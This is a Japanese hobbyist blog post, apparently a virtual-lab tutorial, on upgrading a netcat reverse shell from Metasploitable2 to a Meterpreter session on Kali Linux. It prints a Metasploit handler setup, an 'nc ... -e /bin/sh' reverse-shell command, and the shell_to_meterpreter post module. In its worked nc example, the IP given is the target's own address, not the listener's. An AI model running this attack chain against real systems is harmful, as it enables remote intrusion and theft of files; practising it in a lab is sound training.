とある親父の侵入実験【NetcatからMeterpreterへ】

f:id:appleseedj073:20170503114540p:plain

今日のお題は「Netcat」

f:id:appleseedj073:20170514011537j:plain

Netcatは、Unix系OSコマンドラインアプリケーションの一つ。TCPUDPのパケットを読み書きするバックエンドとして機能するツールで、ネットワークを扱う万能ツールとして知られる。後にWindows版なども登場している。

Netcat - Wikipedia

 

と、ウィキペディアでは紹介されているペネトレーションテストでは、何かとお世話になっている通信用のアプリケーション

これまでも、イベント等で脆弱性を見つけて、exploitしてみたらncで接続されたなんてことがありました。でも、やっぱりmeterpreterで操作できると便利なんだよね

(俺自身のレベルがまだまだ低いからw)

てか、そんなわけでnetcatで接続したセッションをmeterpreterへエスカレーションする手段についてまとめてみたいと思う

 

準備したもの

 

環境(仮想環境)

  1. Kali Linux(192.168.1.100)
  2. Metasploitable2 (192.168.1.200)

 

1 接続

f:id:appleseedj073:20170514012118p:plain

まず、Kali側でポートを指定して待ち受けしてやります。

 

f:id:appleseedj073:20170514012321p:plain

 msf > use exploit/multi/handler
 msf exploit(handler) > set payload linux/x86/shell/reverse_tcp
 payload => linux/x86/shell/reverse_tcp
 msf exploit(handler) > set LHOST 192.168.1.100
 LHOST => 192.168.1.100
 msf exploit(handler) > set LPORT 4444
 LPORT => 4444
 msf exploit(handler) > run

 

これで実行すると待ち受け状態になる

f:id:appleseedj073:20170514012452p:plain

 

そうしたら次はMetasploit側へ

f:id:appleseedj073:20170514012632p:plain

 

metasploitable側からncコマンドを使ってKaliへ接続をします

f:id:appleseedj073:20170514013116p:plain

 nc 攻撃側IPアドレス 待受ポート番号 -e /bin/sh

 nc 192.168.1.200 4444 -e /bin/sh

 

そうするとKali側では

f:id:appleseedj073:20170514013330p:plain

metasploitable側からの接続を受けてCommand Shellでのセッションが開く

ここで「control + z」を押してセッションをバックグラウンドへ移行する

 Background session 1? [y/N] y

f:id:appleseedj073:20170514013623p:plain

もとのコンソールに戻ってきたら一度「session」コマンドで確認

f:id:appleseedj073:20170514013902p:plain

 

2 昇格

次にmeterpreterへエスカレーションするモジュールをポストしてやる

 msf exploit(handler) > use post/multi/manage/shell_to_meterpreter
 msf post(shell_to_meterpreter) > set session 1
 session => 1
 msf post(shell_to_meterpreter) > run

f:id:appleseedj073:20170514014922p:plain

payloadが送信され今度はmeterpreterでのセッションが開いたことが確認できる

 

「session」コマンドで確認

f:id:appleseedj073:20170514015257p:plain

 

「session -i 2」で、meterpreterセッションに接続

f:id:appleseedj073:20170514015427p:plain

見事にmeterpreterでmetasploitableに接続できている!

 

3 結論

なんでこんなことをやったかというと、ここ最近のインシデントレスポンス系のイベントに参加した際に、ncで接続まではこじつけたのにそのあとファイルを奪取できなかったとか、対象端末の情報を搾取できなかったことが何度かありました。そんな時、レベルの低い自分としては「あー、meterpreterで接続とかできたらよかったのに(T . T)」

まぁレベル高い人からすると「ncコマンドが使える時点でなんでもできるよw」って笑われるんですけどね・・・。

 

とりあえず、俺の中でのnetcatへのリベンジ完了!!